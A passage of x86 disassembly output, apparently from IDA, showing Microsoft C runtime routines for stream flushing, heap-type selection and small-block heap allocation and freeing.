ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_41DB62 push esi call sub_41DBF0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41DB62: ; CODE XREF: sub_41DB50+7j push esi call sub_41DB8B test eax, eax pop ecx jz short loc_41DB72 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41DB72: ; CODE XREF: sub_41DB50+1Bj test byte ptr [esi+0Dh], 40h jz short loc_41DB87 push dword ptr [esi+10h] call sub_4238DF neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_41DB87: ; CODE XREF: sub_41DB50+26j xor eax, eax pop esi retn sub_41DB50 endp ; =============== S U B R O U T I N E ======================================= sub_41DB8B proc near ; CODE XREF: sub_41B05B+1Ap ; ___:0041D223p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_41DBD8 test ax, 108h jz short loc_41DBD8 mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_41DBD8 push edi push eax push dword ptr [esi+10h] call sub_42291D add esp, 0Ch cmp eax, edi jnz short loc_41DBD1 mov eax, [esi+0Ch] test al, 80h jz short loc_41DBD8 and al, 0FDh mov [esi+0Ch], eax jmp short loc_41DBD8 ; --------------------------------------------------------------------------- loc_41DBD1: ; CODE XREF: sub_41DB8B+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41DBD8: ; CODE XREF: sub_41DB8B+14j ; sub_41DB8B+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_41DB8B endp ; =============== S U B R O U T I N E ======================================= sub_41DBE7 proc near ; CODE XREF: sub_4239DBp push 1 call sub_41DBF0 pop ecx retn sub_41DBE7 endp ; =============== S U B R O U T I N E ======================================= sub_41DBF0 proc near ; CODE XREF: sub_41DB50+Ap ; sub_41DBE7+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_4DC5E0, esi jle short loc_41DC4E loc_41DC01: ; CODE XREF: sub_41DBF0+5Cj mov eax, dword_4DB5C8 mov eax, [eax+esi*4] test eax, eax jz short loc_41DC45 mov ecx, [eax+0Ch] test cl, 83h jz short loc_41DC45 cmp [esp+0Ch+arg_0], 1 jnz short loc_41DC2B push eax call sub_41DB50 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DC45 inc ebx jmp short loc_41DC45 ; --------------------------------------------------------------------------- loc_41DC2B: ; CODE XREF: sub_41DBF0+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41DC45 test cl, 2 jz short loc_41DC45 push eax call sub_41DB50 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41DC45 or edi, eax loc_41DC45: ; CODE XREF: sub_41DBF0+1Bj ; sub_41DBF0+23j ... inc esi cmp esi, dword_4DC5E0 jl short loc_41DC01 loc_41DC4E: ; CODE XREF: sub_41DBF0+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_41DC59 mov eax, edi loc_41DC59: ; CODE XREF: sub_41DBF0+65j pop edi pop esi pop ebx retn sub_41DBF0 endp ; =============== S U B R O U T I N E ======================================= sub_41DC5D proc near ; CODE XREF: ___:0041DDC0p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 nop call near ptr 2680EF3h cmp word ptr [eax], 5A4Dh jnz short loc_41DC88 mov ecx, [eax+3Ch] test ecx, ecx jz short loc_41DC88 add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_41DC88: ; CODE XREF: sub_41DC5D+15j ; sub_41DC5D+1Cj pop esi retn sub_41DC5D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 122Ch call sub_41BB20 lea eax, [ebp-98h] push ebx push eax mov dword ptr [ebp-98h], 94h call near ptr 26D0497h nop test eax, eax jz short loc_41DCCD cmp dword ptr [ebp-88h], 2 jnz short loc_41DCCD cmp dword ptr [ebp-94h], 5 jb short loc_41DCCD push 1 pop eax jmp loc_41DDCF ; --------------------------------------------------------------------------- loc_41DCCD: ; CODE XREF: ___:0041DCB1j ; ___:0041DCBAj ... lea eax, [ebp-122Ch] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" call near ptr 28A0000h nop test eax, eax jz loc_41DDBC xor ebx, ebx lea ecx, [ebp-122Ch] cmp [ebp-122Ch], bl jz short loc_41DD0F loc_41DCFC: ; CODE XREF: ___:0041DD0Dj mov al, [ecx] cmp al, 61h jl short loc_41DD0A cmp al, 7Ah jg short loc_41DD0A sub al, 20h mov [ecx], al loc_41DD0A: ; CODE XREF: ___:0041DD00j ; ___:0041DD04j inc ecx cmp [ecx], bl jnz short loc_41DCFC loc_41DD0F: ; CODE XREF: ___:0041DCFAj lea eax, [ebp-122Ch] push 16h push eax push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_41BE70 add esp, 0Ch test eax, eax jnz short loc_41DD31 lea eax, [ebp-122Ch] jmp short loc_41DD7A ; --------------------------------------------------------------------------- loc_41DD31: ; CODE XREF: ___:0041DD27j lea eax, [ebp-19Ch] push 104h push eax push ebx nop call near ptr 2670000h cmp [ebp-19Ch], bl lea ecx, [ebp-19Ch] jz short loc_41DD65 loc_41DD52: ; CODE XREF: ___:0041DD63j mov al, [ecx] cmp al, 61h jl short loc_41DD60 cmp al, 7Ah jg short loc_41DD60 sub al, 20h mov [ecx], al loc_41DD60: ; CODE XREF: ___:0041DD56j ; ___:0041DD5Aj inc ecx cmp [ecx], bl jnz short loc_41DD52 loc_41DD65: ; CODE XREF: ___:0041DD50j lea eax, [ebp-19Ch] push eax lea eax, [ebp-122Ch] push eax call sub_41B900 pop ecx pop ecx loc_41DD7A: ; CODE XREF: ___:0041DD2Fj cmp eax, ebx jz short loc_41DDBC push 2Ch push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx jz short loc_41DDBC inc eax mov ecx, eax cmp [eax], bl jz short loc_41DDA1 loc_41DD93: ; CODE XREF: ___:0041DD9Fj cmp byte ptr [ecx], 3Bh jnz short loc_41DD9C mov [ecx], bl jmp short loc_41DD9D ; --------------------------------------------------------------------------- loc_41DD9C: ; CODE XREF: ___:0041DD96j inc ecx loc_41DD9D: ; CODE XREF: ___:0041DD9Aj cmp [ecx], bl jnz short loc_41DD93 loc_41DDA1: ; CODE XREF: ___:0041DD91j push 0Ah push ebx push eax call sub_41BBA6 add esp, 0Ch cmp eax, 2 jz short loc_41DDCF cmp eax, 3 jz short loc_41DDCF cmp eax, 1 jz short loc_41DDCF loc_41DDBC: ; CODE XREF: ___:0041DCE6j ; ___:0041DD7Cj ... lea eax, [ebp-4] push eax call sub_41DC5D cmp byte ptr [ebp-4], 6 pop ecx sbb eax, eax add eax, 3 loc_41DDCF: ; CODE XREF: ___:0041DCC8j ; ___:0041DDB0j ... pop ebx leave retn ; --------------------------------------------------------------------------- dw 0C033h dd 4439006Ah, 680824h, 0F000010h, 0E850C094h, 24923D8h dd 0A3C08590h, 4DC944h, 93E83674h, 83FFFFFEh, 48A303F8h dd 75004DC9h, 3F8680Dh, 24E80000h, 59000000h, 0F8830AEBh dd 0E8187502h, 0B5Eh, 0F75C085h, 0C94435FFh, 0E890004Dh dd 24921D8h, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DC944h dd 21BEE890h, 0C085023Ah, 4DC93CA3h, 0C3017500h, 4244C8Bh dd 0C9342583h, 8300004Dh, 4DC93825h, 16A0000h, 4DC930A3h dd 400D8900h, 0C7004DC9h, 4DC92805h, 1000h db 0, 58h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41DE77 proc near ; CODE XREF: sub_41B0B1+17p ; sub_41B202+4Cp ... arg_0 = dword ptr 4 mov eax, dword_4DC938 lea ecx, [eax+eax*4] mov eax, dword_4DC93C lea ecx, [eax+ecx*4] loc_41DE87: ; CODE XREF: sub_41DE77+26j cmp eax, ecx jnb short loc_41DE9F mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_41DEA1 add eax, 14h jmp short loc_41DE87 ; --------------------------------------------------------------------------- loc_41DE9F: ; CODE XREF: sub_41DE77+12j xor eax, eax locret_41DEA1: ; CODE XREF: sub_41DE77+21j retn sub_41DE77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DEA2 proc near ; CODE XREF: sub_41B0B1+23p ; sub_41B202+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_41E1C6 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_41DF78 sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41DF06 push 3Fh pop edx loc_41DF06: ; CODE XREF: sub_41DEA2+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41DF5A cmp edx, 20h jnb short loc_41DF31 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_41DF52 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41DF52 ; --------------------------------------------------------------------------- loc_41DF31: ; CODE XREF: sub_41DEA2+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41DF52 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41DF52: ; CODE XREF: sub_41DEA2+86j ; sub_41DEA2+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_41DF5D ; --------------------------------------------------------------------------- loc_41DF5A: ; CODE XREF: sub_41DEA2+6Aj mov ecx, [ebp+var_4] loc_41DF5D: ; CODE XREF: sub_41DEA2+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_41DF78: ; CODE XREF: sub_41DEA2+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41DF86 push 3Fh pop edx loc_41DF86: ; CODE XREF: sub_41DEA2+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_41E029 sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_41DFAB mov ebx, esi loc_41DFAB: ; CODE XREF: sub_41DEA2+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_41DFBD mov edx, esi loc_41DFBD: ; CODE XREF: sub_41DEA2+117j cmp ebx, edx jz short loc_41E024 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_41E00C cmp ebx, 20h jnb short loc_41DFED mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E00C mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_41E00C ; --------------------------------------------------------------------------- loc_41DFED: ; CODE XREF: sub_41DEA2+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E00C mov ecx, [ebp+arg_0] and [ecx+4], esi loc_41E00C: ; CODE XREF: sub_41DEA2+128j ; sub_41DEA2+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_41E024: ; CODE XREF: sub_41DEA2+11Dj mov esi, [ebp+arg_4] jmp short loc_41E02C ; --------------------------------------------------------------------------- loc_41E029: ; CODE XREF: sub_41DEA2+EDj mov ebx, [ebp+arg_0] loc_41E02C: ; CODE XREF: sub_41DEA2+185j cmp [ebp+var_C], 0 jnz short loc_41E03A cmp ebx, edx jz loc_41E0BB loc_41E03A: ; CODE XREF: sub_41DEA2+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_41E0BB mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_41E092 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E081 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E081: ; CODE XREF: sub_41DEA2+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_41E0BB ; --------------------------------------------------------------------------- loc_41E092: ; CODE XREF: sub_41DEA2+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E0A8 lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E0A8: ; CODE XREF: sub_41DEA2+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_41E0BB: ; CODE XREF: sub_41DEA2+192j ; sub_41DEA2+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_41E1C6 mov eax, dword_4DC934 test eax, eax jz loc_41E1B8 mov ecx, dword_4DC92C mov esi, dword_4271C0 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi mov ecx, dword_4DC92C mov eax, dword_4DC934 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_4DC934 mov ecx, dword_4DC92C mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_4DC934 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_4DC934 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41E149 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_4DC934 loc_41E149: ; CODE XREF: sub_41DEA2+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41E1B8 push ebx push 0 push dword ptr [eax+0Ch] call esi mov eax, dword_4DC934 push dword ptr [eax+10h] push 0 push dword_4DC944 nop call near ptr 27B0000h mov eax, dword_4DC938 mov edx, dword_4DC93C lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_4DC934 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_41CC90 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_4DC938 cmp eax, dword_4DC934 jbe short loc_41E1AE sub [ebp+arg_0], 14h loc_41E1AE: ; CODE XREF: sub_41DEA2+306j mov eax, dword_4DC93C mov dword_4DC930, eax loc_41E1B8: ; CODE XREF: sub_41DEA2+234j ; sub_41DEA2+2ABj mov eax, [ebp+arg_0] mov dword_4DC92C, edi mov dword_4DC934, eax loc_41E1C6: ; CODE XREF: sub_41DEA2+38j ; sub_41DEA2+227j pop edi pop esi pop ebx leave retn sub_41DEA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E1CB proc near ; CODE XREF: sub_41B202+77p ; sub_41B513+18p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_4DC938 mov edx, dword_4DC93C push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_41E20B or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41E21B ; --------------------------------------------------------------------------- loc_41E20B: ; CODE XREF: sub_41E1CB+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_41E21B: ; CODE XREF: sub_41E1CB+3Ej mov eax, dword_4DC930 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_41E242 loc_41E229: ; CODE XREF: sub_41E1CB+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E242 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_41E229 loc_41E242: ; CODE XREF: sub_41E1CB+5Cj ; sub_41E1CB+6Aj cmp ebx, [ebp+var_4] jnz short loc_41E2C0 mov ebx, edx loc_41E249: ; CODE XREF: sub_41E1CB+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E265 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E263 add ebx, 14h jmp short loc_41E249 ; --------------------------------------------------------------------------- loc_41E263: ; CODE XREF: sub_41E1CB+91j cmp ebx, eax loc_41E265: ; CODE XREF: sub_41E1CB+83j jnz short loc_41E2C0 loc_41E267: ; CODE XREF: sub_41E1CB+ADj cmp ebx, [ebp+var_4] jnb short loc_41E27D cmp dword ptr [ebx+8], 0 jnz short loc_41E27A add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_41E267 ; --------------------------------------------------------------------------- loc_41E27A: ; CODE XREF: sub_41E1CB+A5j cmp ebx, [ebp+var_4] loc_41E27D: ; CODE XREF: sub_41E1CB+9Fj jnz short loc_41E2A5 mov ebx, edx loc_41E281: ; CODE XREF: sub_41E1CB+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E295 cmp dword ptr [ebx+8], 0 jnz short loc_41E293 add ebx, 14h jmp short loc_41E281 ; --------------------------------------------------------------------------- loc_41E293: ; CODE XREF: sub_41E1CB+C1j cmp ebx, eax loc_41E295: ; CODE XREF: sub_41E1CB+BBj jnz short loc_41E2A5 call sub_41E4D4 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41E2B9 loc_41E2A5: ; CODE XREF: sub_41E1CB:loc_41E27Dj ; sub_41E1CB:loc_41E295j push ebx call sub_41E585 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41E2C0 loc_41E2B9: ; CODE XREF: sub_41E1CB+D8j xor eax, eax jmp loc_41E4CF ; --------------------------------------------------------------------------- loc_41E2C0: ; CODE XREF: sub_41E1CB+7Aj ; sub_41E1CB:loc_41E265j ... mov dword_4DC930, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41E2E7 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E31E loc_41E2E7: ; CODE XREF: sub_41E1CB+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_41E31B loc_41E304: ; CODE XREF: sub_41E1CB+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_41E304 loc_41E31B: ; CODE XREF: sub_41E1CB+137j mov edx, [ebp+var_4] loc_41E31E: ; CODE XREF: sub_41E1CB+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_41E347 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_41E347: ; CODE XREF: sub_41E1CB+16Dj ; sub_41E1CB+183j test ecx, ecx jl short loc_41E350 shl ecx, 1 inc edi jmp short loc_41E347 ; --------------------------------------------------------------------------- loc_41E350: ; CODE XREF: sub_41E1CB+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_41E36D push 3Fh pop esi loc_41E36D: ; CODE XREF: sub_41E1CB+19Dj cmp esi, edi jz loc_41E482 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E3DE cmp edi, 20h jge short loc_41E3AD mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41E3DB mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_41E3DE ; --------------------------------------------------------------------------- loc_41E3AD: ; CODE XREF: sub_41E1CB+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41E3DB mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_41E3DE ; --------------------------------------------------------------------------- loc_41E3DB: ; CODE XREF: sub_41E1CB+1D6j ; sub_41E1CB+203j mov ebx, [ebp+arg_0] loc_41E3DE: ; CODE XREF: sub_41E1CB+1B0j ; sub_41E1CB+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_41E48E mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E47F mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_41E450 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41E43E mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41E43E: ; CODE XREF: sub_41E1CB+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_41E47F ; --------------------------------------------------------------------------- loc_41E450: ; CODE XREF: sub_41E1CB+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41E469 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41E469: ; CODE XREF: sub_41E1CB+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_41E47F: ; CODE XREF: sub_41E1CB+24Ej ; sub_41E1CB+283j mov ecx, [ebp+var_8] loc_41E482: ; CODE XREF: sub_41E1CB+1A4j test ecx, ecx jz short loc_41E491 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_41E491 ; --------------------------------------------------------------------------- loc_41E48E: ; CODE XREF: sub_41E1CB+229j mov ecx, [ebp+var_8] loc_41E491: ; CODE XREF: sub_41E1CB+2B9j ; sub_41E1CB+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41E4C7 cmp ebx, dword_4DC934 jnz short loc_41E4C7 mov ecx, [ebp+var_4] cmp ecx, dword_4DC92C jnz short loc_41E4C7 and dword_4DC934, 0 loc_41E4C7: ; CODE XREF: sub_41E1CB+2E0j ; sub_41E1CB+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_41E4CF: ; CODE XREF: sub_41E1CB+F0j pop edi pop esi pop ebx leave retn sub_41E1CB endp ; =============== S U B R O U T I N E ======================================= sub_41E4D4 proc near ; CODE XREF: sub_41E1CB+CCp mov eax, dword_4DC938 mov ecx, dword_4DC928 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41E517 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_4DC93C push edi push dword_4DC944 call near ptr 2850000h nop cmp eax, edi jz short loc_41E567 add dword_4DC928, 10h mov dword_4DC93C, eax mov eax, dword_4DC938 loc_41E517: ; CODE XREF: sub_41E4D4+11j mov ecx, dword_4DC93C push 41C4h push 8 lea eax, [eax+eax*4] push dword_4DC944 lea esi, [ecx+eax*4] nop call near ptr 27C0000h cmp eax, edi mov [esi+10h], eax jz short loc_41E567 push 4 push 2000h push 100000h push edi call near ptr 28B09C1h nop cmp eax, edi mov [esi+0Ch], eax jnz short loc_41E56B push dword ptr [esi+10h] push edi push dword_4DC944 nop call near ptr 27B0000h loc_41E567: ; CODE XREF: sub_41E4D4+30j ; sub_41E4D4+67j xor eax, eax jmp short loc_41E582 ; --------------------------------------------------------------------------- loc_41E56B: ; CODE XREF: sub_41E4D4+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_4DC938 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41E582: ; CODE XREF: sub_41E4D4+95j pop edi pop esi retn sub_41E4D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E585 proc near ; CODE XREF: sub_41E1CB+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_41E597: ; CODE XREF: sub_41E585+19j test eax, eax jl short loc_41E5A0 shl eax, 1 inc ebx jmp short loc_41E597 ; --------------------------------------------------------------------------- loc_41E5A0: ; CODE XREF: sub_41E585+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_41E5B5: ; CODE XREF: sub_41E585+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41E5B5 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi nop call near ptr 28B09C1h test eax, eax jnz short loc_41E5E8 or eax, 0FFFFFFFFh jmp loc_41E67B ; --------------------------------------------------------------------------- loc_41E5E8: ; CODE XREF: sub_41E585+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_41E62E lea eax, [edi+10h] loc_41E5F5: ; CODE XREF: sub_41E585+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41E5F5 loc_41E62E: ; CODE XREF: sub_41E585+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_41E66B or [eax+4], edi loc_41E66B: ; CODE XREF: sub_41E585+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41E67B: ; CODE XREF: sub_41E585+5Ej pop edi pop esi pop ebx leave retn sub_41E585 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E680 proc near ; CODE XREF: sub_41B202+6Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov 